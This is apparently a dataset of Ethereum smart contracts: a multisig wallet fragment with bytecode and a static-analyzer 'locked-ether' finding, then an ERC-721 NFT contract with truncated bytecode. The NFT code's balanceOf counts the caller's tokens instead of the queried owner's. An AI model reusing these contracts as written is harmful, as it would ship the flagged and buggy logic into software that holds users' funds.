/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return _transactionIds Returns array of transaction IDs.
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061014f5760003560e01c8063a0e67e2b116100b6578063c64274741161006f578063c6427474146108a8578063d74f8edd146109ae578063dc8452cd146109d9578063e177246e14610a04578063e20056e614610a3f578063ee22610b14610ab0576101ae565b8063a0e67e2b14610659578063a8abe69a146106c5578063b5dc40c314610777578063b77bf60014610807578063ba51a6df14610832578063c01a8c841461086d576101ae565b8063547415251161010857806354741525146103e55780636a42b8f8146104425780637065cb481461046d578063784547a7146104be5780638b51d13f146105115780639ace38c214610560576101ae565b8063025e7c27146101b35780630d7e149f1461022e578063173825d91461027d57806320ea8d86146102ce5780632f54bf6e146103095780633411c81c14610372576101ae565b366101ae5760003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b600080fd5b3480156101bf57600080fd5b506101ec600480360360208110156101d657600080fd5b8101908080359060200190929190505050610aeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023a57600080fd5b506102676004803603602081101561025157600080fd5b8101908080359060200190929190505050610b27565b6040518082815260200191505060405180910390f35b34801561028957600080fd5b506102cc600480360360208110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b005b3480156102da57600080fd5b50610307600480360360208110156102f157600080fd5b8101908080359060200190929190505050610df4565b005b34801561031557600080fd5b506103586004803603602081101561032c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f96565b604051808215151515815260200191505060405180910390f35b34801561037e57600080fd5b506103cb6004803603604081101561039557600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb6565b604051808215151515815260200191505060405180910390f35b3480156103f157600080fd5b5061042c6004803603604081101561040857600080fd5b81019080803515159060200190929190803515159060200190929190505050610fe5565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610457611077565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104bc6004803603602081101561049057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061107d565b005b3480156104ca57600080fd5b506104f7600480360360208110156104e157600080fd5b810190808035906020019092919050505061128d565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b5061054a6004803603602081101561053457600080fd5b8101908080359060200190929190505050611372565b6040518082815260200191505060405180910390f35b34801561056c57600080fd5b506105996004803603602081101561058357600080fd5b810190808035906020019092919050505061143b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561061b578082015181840152602081019050610600565b50505050905090810190601f1680156106485780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561066557600080fd5b5061066e611530565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106b1578082015181840152602081019050610696565b505050509050019250505060405180910390f35b3480156106d157600080fd5b50610720600480360360808110156106e857600080fd5b8101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506115be565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610763578082015181840152602081019050610748565b505050509050019250505060405180910390f35b34801561078357600080fd5b506107b06004803603602081101561079a57600080fd5b8101908080359060200190929190505050611722565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107f35780820151818401526020810190506107d8565b505050509050019250505060405180910390f35b34801561081357600080fd5b5061081c61194e565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b5061086b6004803603602081101561085557600080fd5b8101908080359060200190929190505050611954565b005b34801561087957600080fd5b506108a66004803603602081101561089057600080fd5b8101908080359060200190929190505050611a0a565b005b3480156108b457600080fd5b50610998600480360360608110156108cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561091257600080fd5b82018360208201111561092457600080fd5b8035906020019184600183028401116401000000008311171561094657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611bf7565b6040518082815260200191505060405180910390f35b3480156109ba57600080fd5b506109c3611c16565b6040518082815260200191505060405180910390f35b3480156109e557600080fd5b506109ee611c1b565b6040518082815260200191505060405180910390f35b348015610a1057600080fd5b50610a3d60048036036020811015610a2757600080fd5b8101908080359060200190929190505050611c21565b005b348015610a4b57600080fd5b50610aae60048036036040811015610a6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c92565b005b348015610abc57600080fd5b50610ae960048036036020811015610ad357600080fd5b8101908080359060200190929190505050611f9c565b005b60048181548110610af857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7757600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bce57600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160048054905003811015610d4e578273ffffffffffffffffffffffffffffffffffffffff1660048281548110610c6057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d4157600460016004805490500381548110610cbc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048281548110610cf457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d4e565b8080600101915050610c2c565b506004805480610d5a57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556004805490506005541115610dad57610dac600480549050611954565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e4b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610eb457600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610ee257600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b60065481101561107057838015611024575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806110575750828015611056575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611063576001820191505b8080600101915050610fed565b5092915050565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561110d57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114857600080fd5b600160048054905001600554603282111580156111655750818111155b8015611172575060008114155b801561117f575060008214155b61118857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60048054905081101561136a57600160008581526020019081526020016000206000600483815481106112c957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611348576001820191505b60055482141561135d5760019250505061136d565b808060010191505061129a565b50505b919050565b600080600090505b60048054905081101561143557600160008481526020019081526020016000206000600483815481106113a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611428576001820191505b808060010191505061137a565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115135780601f106114e857610100808354040283529160200191611513565b820191906000526020600020905b8154815290600101906020018083116114f657829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060048054806020026020016040519081016040528092919081815260200182805480156115b457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161156a575b5050505050905090565b6060806006546040519080825280602002602001820160405280156115f25781602001602082028038833980820191505090505b509050600080905060008090505b60065481101561169c57858015611637575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061166a5750848015611669575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561168f578083838151811061167c57fe5b6020026020010181815250506001820191505b8080600101915050611600565b8787036040519080825280602002602001820160405280156116cd5781602001602082028038833980820191505090505b5093508790505b86811015611717578281815181106116e857fe5b602002602001015184898303815181106116fe57fe5b60200260200101818152505080806001019150506116d4565b505050949350505050565b6060806004805490506040519080825280602002602001820160405280156117595781602001602082028038833980820191505090505b509050600080905060008090505b6004805490508110156118a0576001600086815260200190815260200160002060006004838154811061179657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611893576004818154811061181b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061185257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611767565b816040519080825280602002602001820160405280156118cf5781602001602082028038833980820191505090505b509350600090505b81811015611946578281815181106118eb57fe5b60200260200101518482815181106118ff57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506118d7565b505050919050565b60065481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198c57600080fd5b60048054905081603282111580156119a45750818111155b80156119b1575060008114155b80156119be575060008214155b6119c757600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a6157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ad157600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611bf085611f9c565b5050505050565b6000611c0484848461225c565b9050611c0f81611a0a565b9392505050565b603281565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5957600080fd5b806007819055506007547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cca57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d2157600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7957600080fd5b60008090505b600480549050811015611e5f578473ffffffffffffffffffffffffffffffffffffffff1660048281548110611db057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e52578360048281548110611e0557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e5f565b8080600101915050611d7f565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ff357600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661205c57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff161561208a57600080fd5b6120938561128d565b80156120b15750426003600087815260200190815260200160002054105b15612255576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506121d18160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121c75780601f1061219c576101008083540402835291602001916121c7565b820191906000526020600020905b8154815290600101906020018083116121aa57829003601f168201915b50505050506123dd565b1561220857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612253565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561229957600080fd5b600654915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612357929190612404565b5060608201518160030160006101000a81548160ff021916908315150217905550905050600754420160036000848152602001908152602001600020819055506001600660008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061244557805160ff1916838001178555612473565b82800160010185558215612473579182015b82811115612472578251825591602001919060010190612457565b5b5090506124809190612484565b5090565b6124a691905b808211156124a257600081600090555060010161248a565b5090565b9056fea2646970667358221220ce731ed60cd62834bffb00b35fa1f085346182a637fd5f6391e50e5896c2003d64736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,724 |
0xceabc60d96944de03566c007f9749abe61fd3381
|
// SPDX-License-Identifier: MIT
// by William Hilton (https://github.com/wmhilton)
// written using remix.ethereum.org
// Changelog:
// v2 - reduce gas cost of minting even more
// v1 - initial release
pragma solidity >=0.8.3 <0.9.0;
/**
* @dev ERC-721 interface for accepting safe transfers.
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
*/
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
/**
* @title ERC721Token
* @dev A simple 1 of 1 NFT implementation
*/
contract ERC721Token {
/**
* @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
* created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
* number of NFTs may be created and assigned without emitting Transfer. At the time of any
* transfer, the approved address for that NFT (if any) is reset to none.
*/
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/**
* @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
* address indicates there is no approved address. When a Transfer event emits, this also
* indicates that the approved address for that NFT (if any) is reset to none.
*/
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/**
* @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
* all NFTs of the owner.
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
uint256 internal count = 0;
uint256 internal burned = 0;
mapping (uint256 => address) internal owners;
mapping (uint256 => uint256) internal tokenCIDs;
mapping (uint256 => address) internal approveds;
mapping (address => mapping (address => bool)) internal operators;
string public name;
string public symbol;
/**
* @dev Setup NFT name and symbol and optionally mint a batch
*/
constructor(string memory _name, string memory _symbol, uint256[] memory _tokenCIDs) {
name = _name;
symbol = _symbol;
for (uint256 i = 0; i < _tokenCIDs.length; i++) {
mint(_tokenCIDs[i]);
}
}
/**
* @dev Mint a NFT
* @param _tokenCID The IPFS CID, minus the first two bytes which for practical purposes
* are the fixed values 0x12 0x20. (The tool that generates the IPFS CID should check that
* the first two bytes are 0x12 0x20 and remove them before calling the mint function.)
*/
function mint(uint256 _tokenCID) public {
require(0 < ++count);
owners[count] = msg.sender;
tokenCIDs[count] = _tokenCID;
emit Transfer(address(0), msg.sender, count);
}
/**
* @dev Mint several NFTs at once
* @param _tokenCIDs[] The IPFS CIDs
*/
function mintMultiple(uint256[] calldata _tokenCIDs) public {
for (uint256 i = 0; i < _tokenCIDs.length; i++) {
mint(_tokenCIDs[i]);
}
}
function burn(uint256 _tokenId) public {
address _owner = owners[_tokenId];
require(
_owner != address(0) &&
(msg.sender == _owner || operators[_owner][msg.sender] || msg.sender == approveds[_tokenId])
);
owners[_tokenId] = address(0);
approveds[_tokenId] = address(0);
tokenCIDs[_tokenId] = 0;
burned++;
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev For ERC-20 compatibility
*/
function decimals() public pure returns (uint8) {
return 0;
}
function totalSupply() public view returns (uint256) {
return count - burned;
}
/**
* @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if
* `_tokenId` is not a valid NFT.
* @return URI of _tokenId.
*/
function tokenURI(uint256 _tokenId) public view returns (string memory) {
address _owner = owners[_tokenId];
require(_owner != address(0));
// Technically, the tokenURI CAN be bytes32 0x00... something probably hashes to that.
uint256 _tokenCID = tokenCIDs[_tokenId];
// Prepend 0x12 0x20, encode in base58, prepend the famous IPFS HTTPS Gateway
return string(abi.encodePacked("https://ipfs.io/ipfs/", encode(abi.encodePacked(hex"1220", _tokenCID))));
}
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
* @return Balance of _owner.
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
uint256 _balance = 0;
for (uint256 _tokenId = count; _tokenId > 0; _tokenId--) {
if (owners[_tokenId] == msg.sender) {
_balance++;
}
}
return _balance;
}
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are
* considered invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
* @return Address of _tokenId owner.
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address _owner = owners[_tokenId];
require(_owner != address(0));
return _owner;
}
/**
* @dev Set or reaffirm the approved address for an NFT.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved The new approved NFT controller.
* @param _tokenId The NFT to approve.
*/
function approve(address _approved, uint256 _tokenId) public {
address _owner = owners[_tokenId];
require(_owner != address(0) && (msg.sender == _owner || operators[_owner][msg.sender]));
approveds[_tokenId] = _approved;
emit Approval(_owner, _approved, _tokenId);
}
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId The NFT to find the approved address for.
* @return Address that _tokenId is approved for.
*/
function getApproved(uint256 _tokenId) public view returns (address) {
address _owner = owners[_tokenId];
require(_owner != address(0));
address _approved = approveds[_tokenId];
return _approved;
}
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they may be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public {
address _owner = owners[_tokenId];
require(
_owner != address(0) &&
(msg.sender == _owner || operators[_owner][msg.sender] || msg.sender == approveds[_tokenId]) &&
_from == _owner &&
_to != address(0)
);
owners[_tokenId] = _to;
approveds[_tokenId] = address(0);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
* `onERC721Received` on `_to` and throws if the return value is not
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) public {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) private {
transferFrom(_from, _to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
// Return value of a smart contract that can receive NFT.
// Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")).
require(retval == 0x150b7a02);
}
}
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice The contract MUST allow multiple operators per owner.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(address _operator, bool _approved) public {
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
* @return True if approved for all, false otherwise.
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operators[_owner][_operator];
}
/**
* @dev Function to check which interfaces are suported by this contract.
* @param _interfaceID Id of the interface.
* @return True if _interfaceID is supported, false otherwise.
*/
function supportsInterface(bytes4 _interfaceID) public pure returns (bool) {
// 0x80ac58cd is ERC721 (the Non-Fungible Token Standard)
// 0x01ffc9a7 is ERC165 (the Standard Interface Detection)
return _interfaceID == 0x80ac58cd || _interfaceID == 0x01ffc9a7;
}
/**
* @dev Returns whether the target address is a contract.
* @param _addr Address to check.
* @return addressCheck True if _addr is a contract, false if not.
*/
function isContract(address _addr) private view returns (bool addressCheck) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(_addr) } // solhint-disable-line
addressCheck = (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts bytes to base58 encoded string. Used to compute the IPFS tokenURI on-the-fly.
*/
bytes constant ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
function encode(bytes memory input) private pure returns (string memory) {
// First we must count the leading zeros
uint8 leading_zeros = 0;
for (uint8 i = 0; i < input.length; i++) {
if (input[i] == 0) {
leading_zeros++;
} else {
break;
}
}
// Allocate enough storage for the base58 digits.
uint8 length = uint8((input.length - leading_zeros) * 138 / 100 + 1); // log(256) / log(58), rounded up.
uint8[] memory b58_digits = new uint8[](length);
// Now we convert the base256 digits to base58 digits via long division
b58_digits[0] = 0;
uint8 digitlength = 1;
for (uint8 i = leading_zeros; i < input.length; i++) {
uint32 carry = uint8(input[i]);
for (uint8 j = 0; j < digitlength; j++) {
carry += uint32(b58_digits[j]) * 256;
b58_digits[j] = uint8(carry % 58);
carry /= 58;
}
while (carry > 0) {
b58_digits[digitlength] = uint8(carry % 58);
digitlength++;
carry /= 58;
}
}
// Handle an edge case: all zeros input
if (digitlength == 1 && b58_digits[0] == 0) {
digitlength = 0;
}
// Leading zero bytes are converted to '1';
bytes memory b58_encoding = new bytes(leading_zeros + digitlength);
for (uint8 i = 0; i < leading_zeros; i++) {
b58_encoding[i] = '1';
}
// The rest of the digits are encoded using the base58 alphabet
for (uint8 j = 0; j < digitlength; j++) {
b58_encoding[j + leading_zeros] = ALPHABET[uint8(b58_digits[digitlength - j - 1])];
}
return string(b58_encoding);
}
}
//transaction cost 1563822
//execution cost 1085490
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636352211e116100a2578063a22cb46511610071578063a22cb46514610237578063b88d4fde1461024a578063c87b56dd1461025d578063d47f030d14610270578063e985e9c51461028357610116565b80636352211e146101f657806370a082311461020957806395d89b411461021c578063a0712d681461022457610116565b806318160ddd116100e957806318160ddd1461019857806323b872dd146101ae578063313ce567146101c157806342842e0e146101d057806342966c68146101e357610116565b806301ffc9a71461011b57806306fdde0314610143578063081812fc14610158578063095ea7b314610183575b600080fd5b61012e61012936600461115a565b6102bf565b60405190151581526020015b60405180910390f35b61014b6102f8565b60405161013a9190611250565b61016b610166366004611192565b610386565b6040516001600160a01b03909116815260200161013a565b6101966101913660046110c1565b6103c5565b005b6101a0610486565b60405190815260200161013a565b6101966101bc366004610fb6565b61049d565b6040516000815260200161013a565b6101966101de366004610fb6565b6105c4565b6101966101f1366004611192565b6105e4565b61016b610204366004611192565b6106f3565b6101a0610217366004610f63565b610715565b61014b61077b565b610196610232366004611192565b610788565b610196610245366004611087565b610807565b610196610258366004610ff1565b610873565b61014b61026b366004611192565b6108bc565b61019661027e3660046110ea565b61094c565b61012e610291366004610f84565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60006380ac58cd60e01b6001600160e01b0319831614806102f057506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b60068054610305906113c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610331906113c7565b801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b505050505081565b6000818152600260205260408120546001600160a01b0316806103a857600080fd5b50506000908152600460205260409020546001600160a01b031690565b6000818152600260205260409020546001600160a01b031680158015906104215750336001600160a01b038216148061042157506001600160a01b038116600090815260056020908152604080832033845290915290205460ff165b61042a57600080fd5b60008281526004602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000600154600054610498919061134a565b905090565b6000818152600260205260409020546001600160a01b0316801580159061051a